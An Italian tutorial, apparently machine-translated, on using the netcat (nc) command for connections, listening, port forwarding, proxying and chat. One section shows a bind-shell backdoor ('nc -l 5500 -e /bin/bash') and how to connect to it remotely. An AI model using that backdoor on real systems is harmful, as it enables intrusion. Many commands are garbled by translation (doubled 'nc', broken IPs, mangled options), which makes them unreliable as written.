Comando NC è per l’esecuzione di attività di manutenzione/diagnosi relative alla rete . Può eseguire operazioni come lettura, scrittura o reindirizzamenti dei dati sulla rete, in modo simile a come è possibile utilizzare il comando cat per manipolare i file sul sistema Linux. Comando NC può essere utilizzato come utility per la scansione di porte, monitoraggio o può anche agire come un proxy TCP di base.
Le organizzazioni possono utilizzarlo per esaminare la sicurezza della rete, i server Web, i server telnet, i server di posta e così via, controllando le porte aperte e quindi proteggendole., Il comando NC può essere utilizzato anche per acquisire informazioni inviate dal sistema.
di Lettura Consigliato : Top 7 comandi per Linux Monitoraggio del Traffico di Rete
Leggi Anche : Importante PostgreSQL comandi si deve sapere
Ora andiamo a discutere di come si può utilizzare NC comando con alcuni esempi,
Esempi per NC comando
la Connessione a un server remoto
l’esempio Seguente mostra come ci si può collegare al server remoto con nc comando,
$ nc 10.10.10.100 80
qui, 10.10.10.,100 è l’IP del server a cui vogliamo connetterci & 80 è il numero di porta per il server remoto. Una volta connesso siamo in grado di eseguire altre funzioni come si può ottenere il totale del contenuto della pagina con
GET/HTTP/1.1
o recuperare il nome della pagina,
GET/HTTP/1.1
o siamo in grado di ottenere un banner per OS fingerprinting con il seguente,
TESTA/HTTP/1.1
in Questo modo, fateci sapere quale software & versione viene utilizzato per eseguire il webserver.,
Ascoltare le richieste di connessione in ingresso
Per controllare un server per la richiesta di connessione in ingresso su un numero di porta, utilizzare il seguente esempio:
$ nc -l 8080
Ora, NC è in modalità di ascolto per verificare la porta 8080 per richieste di connessione in ingresso. Ora la modalità di ascolto continuerà a funzionare, fino a quando non sarà terminata manualmente. Ma possiamo risolvere questa opzione ‘ w ‘ per NC,
nc nc-w 10 8080
qui, 10 significa che NC ascolterà le connessioni solo per 10 secondi.,
Connessione alle porte UDP
Per impostazione predefinita, possiamo connetterci alle porte TCP con NC ma per ascoltare la richiesta in entrata fatta alle porte UDP dobbiamo usare l’opzione ‘u’ ,
nc nc-l-u 55
Usando NC per il port forwarding
Con l’opzione ‘c’ di NC, possiamo reindirizzare una porta ad un’altra. L’esempio completo è,
nc nc-u-l 8080-c ‘nc-u-l 8090’
qui, abbiamo inoltrato tutte le richieste in arrivo dalla porta 8080 alla porta 8090.
Utilizzo di NC come server proxy
Per utilizzare il comando NC come proxy, utilizzare <| p>
nc nc – l 8080 / nc 10.10.10.,200 80
qui, tutte le connessioni in entrata alla porta 8080 verranno deviate sul server 10.10.10.200 sulla porta 80.
Ora con il comando precedente, abbiamo creato solo un passaggio a senso unico. Per creare un ritorno di passaggio o 2 vie di comunicazione canale, utilizzare i seguenti comandi
$ mkfifo 2way
$ nc – l 8080 0<2way | nc 10.10.10.200 80 1>2way
Ora si avrà la capacità di inviare e ricevere informazioni su nc proxy.,
Utilizzo di NC come strumento di chat
Un’altra utility che il comando NC può servire è come strumento di chat. Sì, possiamo anche usarlo come una chat. Per crearlo, prima eseguire il seguente comando su un server,
nc nc – l 8080
Che per connettersi sulla macchina remota, eseguire
nc nc 10.10.10.100 8080
Ora possiamo iniziare la conversazione utilizzando il terminale / CLI.
Usando NC per creare una backdoor di sistema
Ora questa è l’applicazione più comune di NC & è per lo più utilizzata dagli hacker molto., Fondamentalmente questo crea una backdoor al sistema che può essere sfruttata dagli hacker (non dovresti farlo, è sbagliato).
Si deve essere consapevoli di questo per salvaguardare contro questo tipo di exploit.
comando riportato di Seguito può essere utilizzato per creare una backdoor,
$ nc -l 5500 -e /bin/bash
qui, abbiamo attaccato la porta 5500 /bin/bash, che ora può essere collegato da un computer remoto per eseguire i comandi,
$ nc 10.10.10.100 5500
Forza il server a rimanere up
Server di interrompere l’ascolto per la connessione una volta che un client di connessione è stata terminata., Ma con l’opzione ‘k’, possiamo forzare un server a rimanere in esecuzione, anche quando nessun client è connesso.
nc nc-l-k 8080
Ora finiamo questo tutorial su come utilizzare il comando NC, non esitate a inviare in tutte le domande o domande che avete riguardo a questo articolo.,
Se pensi che ci hanno aiutato o semplicemente si vuole il supporto noi, si prega di prendere in considerazione questi :-
Connetti a noi: Facebook | Twitter | Google Plus
ci dona alcuni dei vostri soldi guadagnati duri:
Linux TechLab è grato per il vostro continuo supporto.